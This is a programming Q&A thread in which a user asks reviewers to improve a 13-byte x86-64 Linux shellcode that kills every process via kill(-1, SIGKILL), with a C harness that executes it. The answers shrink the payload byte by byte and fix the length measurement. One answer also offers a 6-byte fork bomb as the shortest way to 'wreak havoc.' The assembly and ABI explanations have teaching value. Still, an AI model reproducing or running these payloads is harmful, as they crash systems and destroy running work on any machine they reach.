3
\$\begingroup\$

So I made a simple shellcode that will kill all your process. Now I would like to know, can it be done in some better way? It contains 13 bytes. Thanks for all your feedback

Assembly:

 global _start

 section .text

 _start:

     xor rax, rax
     add al, 0x3e
     dec rdi
     push 0x9
     pop rsi
     syscall

Equivalent in C:

#include<stdio.h>
#include<string.h>



unsigned char code[] = 
"\x48\x31\xc0\x04\x3e\x48\xff\xcf\x6a\x09\x5e\x0f\x05";



int main()
{
  printf("Shellcode Length:  %d\n", (int) strlen(code));

  int (*ret)() = (int(*)())code;

  ret(0);
}
\$\endgroup\$
0

3 Answers 3

4
\$\begingroup\$

Now I would like to know, can it be done in some better way? It contains 13 bytes.

From this I conclude that by better you mean shorter.

You can easily bring this down to 11 bytes if you duplicate the method that was used to fill RSI for the setup of RAX.

push 0x3e
pop  rax
dec  rdi
push 0x9
pop  rsi
syscall

The instruction dec rdi depends on the existing value of RDI.
If you know that its lowest 32 bits are non-zero, then you can write dec edi instead, and lose the REX.W prefix. ( -> 10 bytes)

push 0x3e
pop  rax
dec  edi
push 0x9
pop  rsi
syscall

But the most important improvement you can make is of course writing comments. For now those numbers 0x3E and 0x09 are just magic numbers. What do they mean? That's what everyone that reads your code is interested in knowing.

\$\endgroup\$
1
  • 1
    \$\begingroup\$ thanks, 0x3e is a syscall for 'kill' , -1 <edi> is pid and 0x09 is sig #include <sys/types.h> #include <signal.h> int kill(pid_t pid, int sig); \$\endgroup\$
    – starboy
    Commented Feb 11, 2019 at 16:00
3
\$\begingroup\$

strlen is a poor choice to measure the size of a code block (which might contain embedded NULs):

unsigned char code[] = 
"\x48\x31\xc0\x04\x3e\x48\xff\xcf\x6a\x09\x5e\x0f\x05";

printf("Shellcode Length:  %d\n", (int) strlen(code));

Thankfully, we can use the sizeof operator, remembering to account for the added NUL:

const unsigned char code[] =
    "\x48\x31\xc0\x04\x3e\x48\xff\xcf\x6a\x09\x5e\x0f\x05";

printf("Shellcode Length: %zu\n", (sizeof code) - 1);

Or ditch the string stuff entirely, then there's no need for the -1 correction:

const unsigned char code[] =
    { 0x48, 0x31, 0xc0, 0x04, 0x3e,
      0x48, 0xff, 0xcf, 0x6a, 0x09,
      0x5e, 0x0f, 0x05 };

printf("Shellcode Length: %zu\n", sizeof code);
\$\endgroup\$
3
\$\begingroup\$

Line-by-line:

  • xor rax, rax

    The only time you should ever explicitly clear a 64-bit register by XORing it with itself is when you want the extra code size for alignment reasons. Otherwise, just write the XOR to operate on the 32-bit register; the upper 32 bits will be automatically zeroed. Therefore, this should just be xor eax, eax. This saves you 1 byte (the REX.W prefix, 0x48).

  • xor rax, rax add al, 0x3e

    This is an inefficient way of setting RAX to 0x3e. The only reason you would ever want to do this is when you're optimizing strictly for code size; otherwise, you would just write mov eax, 0x3e. And if you're optimizing strictly for code size, you would be better off writing:

    push 0x3e
    pop  rax
    

    to save 1 byte.

  • dec rdi

    As Fifoernik suggested, if you know that you only care about the lower 32 bytes of the register, then you can replace this with dec edi to save 1 byte (the REX.W prefix). But this is a risky optimization, so undertake it only if you are certain that the preconditions are met, and document it carefully!

    Your code is making the assumption that RDI will be 0, and thus decrementing it will result in the value −1. That is a dangerous assumption. While the current Linux kernel does initialize all registers to 0 when launching an ELF binary, this is not required by the ABI. The x86-64 ABI guarantees only that RSP points to the stack and RDX is a function pointer that the application should register with atexit (see section 3.4.1: "Initial Stack and Register State"). Furthermore, you can only rely on the registers being zeroed at startup for a statically-linked executable; in a dynamically-linked executable, the dynamic linker gets called before _start is executed and leaves garbage in the registers.

    The safe, efficient, standard way to write this code would be mov edi, -1, but that is relatively large in terms of bytes.

    If you were optimizing for size above all else, you could do push -1+pop rdi, which is shorter but inefficient. A better option when optimizing for size would be or edi, -1. This is the same size as push+pop (3 bytes), but will be slightly faster. (It is still slower than a mov because it introduces a false dependency on the previous value of the source register; in this case, edi.)

  • push 0x9 pop rsi

    Again, as before, this is an inefficient way of setting RSI to 0x9. If you were not optimizing strictly for code size, you would be better (clearer and faster) to write mov esi, 0x9.

  • syscall

    There is not much you can do with this instruction. You could use int 0x80 instead, but that is the same size (2 bytes), and slower than syscall, so you might as well stick with syscall.

Big picture:

  • Line up your code in vertical columns for ease of readability, like so:

    xor     rax, rax
    add     al,  0x3e
    dec     rdi
    push    0x9
    pop     rsi
    syscall
    
  • Introduce named constants in order to avoid the presence of "magic numbers" in your code. In Gnu syntax (which you appear to be using), a constant can be declared by using the .set directive, like so:

    .set SYSCALL_KILL, 0x3e
    .set PROCESS_ID,   -1
    .set SIGKILL,      0x9
    

    (Or, equivalently, .equ, which matches the syntax used by other popular x86 assemblers.)

    Then, in your code, you would use these symbolic constants instead of the literals. The assembler will fold them so that exactly the same code is produced.

    As an alternative, you could use .equiv, which works just like .set/.equ, except that the assembler will raise an error if you try to redefine a symbol that is already defined. That can be a nice diagnostic to have in certain cases.

  • Add descriptive comments to your code. Comments are always important in well-written code, but they're especially important when writing in assembly because the language is not self-documenting.

    A common convention in assembly is to write short summary comments out to the right of each instruction. If you have something longer to say (like an explanation of why you're doing something, or a warning about a potentially-dangerous assumption), write it in a paragraph on lines of its own above the relevant instructions.

Alternative:

If you want the shortest possible shellcode that will wreak havoc, consider a fork bomb:

global _start
section .text

.equ SYSCALL_FORK, 0x02
.equ INT_SYSCALL,  0x80

_start:
    push  SYSCALL_FORK
    pop   rax             ; rax <= fork() system call
    int   INT_SYSCALL     ; call kernel
    jmp   _start          ; loop back to beginning

That's only 6 bytes!

\$\endgroup\$
0

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.